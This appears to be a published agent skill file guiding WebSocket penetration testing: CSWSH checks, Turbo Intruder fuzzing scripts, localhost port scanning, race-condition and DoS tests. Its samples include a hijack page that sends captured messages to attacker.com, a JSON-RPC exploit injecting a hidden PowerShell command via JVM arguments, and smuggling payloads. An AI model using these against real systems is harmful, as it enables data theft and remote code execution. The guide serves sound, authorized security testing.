# Websocket Security Testing

> Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.

- Skill: `abelrguezr/websocket-security-testing` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/websocket-security-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/websocket-security-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/websocket-security-testing

---


# WebSocket Security Testing

A comprehensive skill for testing WebSocket implementations for security vulnerabilities.

## When to Use This Skill

Use this skill when:
- Testing WebSocket endpoints (`ws://` or `wss://`) for security issues
- Auditing real-time communication channels in web applications
- Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
- Fuzzing WebSocket messages for injection vulnerabilities
- Testing localhost WebSocket services exposed by desktop applications
- Analyzing WebSocket race conditions or DoS vectors

## Quick Start

```bash
# Basic WebSocket connection test
websocat --insecure wss://target.com/ws

# WebSocket enumeration with STEWS
stews --url wss://target.com/ws --scan

# Localhost port discovery (Chromium-based browsers)
# Run from a malicious page to find exposed WebSocket services
```

## WebSocket Fundamentals

### Connection Establishment

WebSocket connections start with an HTTP handshake:

```
GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-random>
Connection: Upgrade
Upgrade: websocket
```

**Key headers to examine:**
- `Sec-WebSocket-Key`: Unique per handshake (not for auth)
- `Sec-WebSocket-Accept`: Server's hash response
- `Origin`: Should be validated by server
- `Cookie`: Often used for authentication (CSWSH risk)

### Protocol Variants

| Protocol | Description |
|----------|-------------|
| `ws://` | Unencrypted WebSocket |
| `wss://` | TLS-encrypted WebSocket |
| Socket.IO | WebSocket with custom framing (`EIO=4` parameter) |

## Enumeration

### Manual Discovery

1. **Find WebSocket endpoints:**
   - Search JavaScript files for `new WebSocket(`
   - Look for `ws://` or `wss://` in network traffic
   - Check for Socket.IO patterns (`socket.io`, `EIO=`)

2. **Use automated tools:**
   ```bash
   # STEWS - WebSocket vulnerability scanner
   stews --url wss://target.com/ws --scan
   
   # websocat - Raw connection testing
   websocat --insecure wss://target.com/ws -v
   ```

### Tools Reference

| Tool | Purpose |
|------|---------|
| [STEWS](https://github.com/PalindromeLabs/STEWS) | Automated vulnerability scanning |
| [websocat](https://github.com/vi/websocat) | CLI WebSocket client/server |
| [Burp Suite](https://portswigger.net/burp) | Proxy with WebSocket support |
| [socketsleuth](https://github.com/snyk/socketsleuth) | Burp extension for WebSocket history |
| [WSSiP](https://github.com/nccgroup/wssip) | WebSocket/Socket.IO proxy |
| [wsrepl](https://github.com/doyensec/wsrepl) | Interactive WebSocket REPL |
| [WebSocket Turbo Intruder](https://github.com/d0ge/WebSocketTurboIntruder) | High-rate fuzzing |

## Cross-Site WebSocket Hijacking (CSWSH)

### Detection Checklist

CSWSH is possible when:
- [ ] Authentication uses cookies only (no CSRF tokens)
- [ ] Cookie has `SameSite=None` or is missing SameSite
- [ ] Server doesn't validate `Origin` header
- [ ] Browser allows third-party cookies

### Test Script

Create a test page to check for CSWSH:

```html
<!DOCTYPE html>
<html>
<head><title>CSWSH Test</title></head>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = () => {
  console.log('WebSocket connected - CSWSH may be possible');
  ws.send('READY'); // Trigger response
};

ws.onmessage = (event) => {
  console.log('Received:', event.data);
  // Exfiltration test (no-cors mode)
  fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data), 
        {mode: 'no-cors'});
};

ws.onerror = (err) => console.error('Connection failed:', err);
</script>
</body>
</html>
```

### Mitigations to Verify

| Protection | How to Check |
|------------|-------------|
| Origin validation | Server rejects requests with mismatched Origin |
| CSRF tokens | WebSocket requires token in message or query param |
| SameSite cookies | Cookies have `SameSite=Lax` or `SameSite=Strict` |
| Token auth | Authentication via header/token, not cookies |

## Fuzzing with Turbo Intruder

### Basic Fuzzing Script

```python
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    for i in range(10):
        connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@MatchRegex(r'{"user":".*"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)
```

### Socket.IO Fuzzing

Socket.IO requires special handling:

```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
    # Add EIO parameter for Socket.IO
    connection = websocket_connection.create(
        upgrade_request.withUpdatedParameters(
            HttpParameter.urlParameter("EIO", "4")
        )
    )
    # Keep session alive
    connection.queue('40')  # Open
    connection.queue('42["message","hello"]')  # Event

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)
```

### HTTP Middleware Pattern

Bridge WebSocket to HTTP for scanner compatibility:

```python
def create_connection(upgrade_request):
    connection = websocket_connection.create(upgrade_request)
    return connection

@MatchRegex(r'{"user":"You"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)
```

Then send HTTP requests:
```
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"test"}
```

## Localhost WebSocket Abuse

### Port Discovery

Desktop applications often expose WebSocket services on localhost:

```javascript
async function findLocalWs(start = 20000, end = 36000) {
  for (let port = start; port <= end; port++) {
    await new Promise((resolve) => {
      const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
      let settled = false;
      const finish = () => { 
        if (!settled) { settled = true; resolve(); } 
      };
      ws.onerror = ws.onclose = finish;
      ws.onopen = () => {
        console.log(`Found WebSocket on port ${port}`);
        ws.close();
        finish();
      };
    });
  }
}
```

### JSON-RPC Exploitation

Many localhost services use JSON-RPC:

```javascript
// Example: CurseForge-style exploitation
const ws = new WebSocket('ws://127.0.0.1:PORT/');

ws.onopen = () => {
  // Step 1: Create resource
  ws.send(JSON.stringify({
    type: 'method',
    name: 'createModpack',
    args: {}
  }));
};

ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  if (data.MinecraftInstanceGuid) {
    // Step 2: Launch with malicious args
    ws.send(JSON.stringify({
      type: 'method',
      name: 'minecraftTaskLaunchInstance',
      args: {
        MinecraftInstanceGuid: data.MinecraftInstanceGuid,
        AdditionalJavaArguments: [
          '-XX:MaxMetaspaceSize=16m',
          '-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."'
        ]
      }
    }));
  }
};
```

## Race Conditions

### Testing Approach

Use THREADED engine for race condition testing:

```python
# Configure for parallel connections
def config():
    return {
        'engine': 'THREADED',
        'concurrency': 100
    }

def queue_websockets(upgrade_request, message):
    # Each connection fires independently
    connection = websocket_connection.create(upgrade_request)
    connection.queue(message)
```

### Common Race Scenarios

- Double-spend attacks
- Token reuse
- State desynchronization
- Authentication bypass

## DoS Testing

### Ping of Death

Craft malformed frames to test server resilience:

```python
# Example: Large payload length with no body
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    # Set payload length near Integer.MAX_VALUE
    # Server may pre-allocate buffer and crash
```

**Warning:** Only test with authorization. High-rate fuzzing can cause real DoS.

## Other Vulnerabilities

### Input Validation

WebSockets can carry the same vulnerabilities as HTTP:

- **XSS**: Malicious payloads in WebSocket messages
- **SQLi**: User input in database queries
- **Command Injection**: Shell commands in message data
- **Prototype Pollution**: `__proto__` in JSON messages

### Prototype Pollution Detection

```json
{"__proto__":{"initialPacket":"Polluted"}}
```

If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.

### WebSocket Smuggling

Bypass reverse proxies by faking WebSocket handshakes:

```
GET / HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: <key>
Sec-WebSocket-Version: 13

[Malformed body to confuse proxy]
```

## Testing Workflow

1. **Reconnaissance**
   - Find WebSocket endpoints in JS files
   - Map authentication mechanisms
   - Identify protocol (WebSocket vs Socket.IO)

2. **Enumeration**
   - Run STEWS for automated scanning
   - Test with websocat for manual exploration
   - Capture legitimate traffic for protocol analysis

3. **Vulnerability Testing**
   - Test for CSWSH (cookie auth + no Origin check)
   - Fuzz messages for injection vulnerabilities
   - Check for race conditions with parallel connections
   - Test localhost services if applicable

4. **Documentation**
   - Record all findings with evidence
   - Include reproduction steps
   - Suggest mitigations

## Safety Guidelines

- **Authorization required**: Only test systems you own or have permission to test
- **Rate limiting**: High-rate fuzzing can cause DoS
- **Malformed frames**: May crash servers
- **Data handling**: WebSocket messages may contain sensitive data

## References

- [PortSwigger WebSocket Testing](https://portswigger.net/web-security/websockets)
- [WebSocket Turbo Intruder Research](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [CSWSH Exploitation 2025](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [CurseForge RCE Case Study](https://elliott.diy/blog/curseforge/)

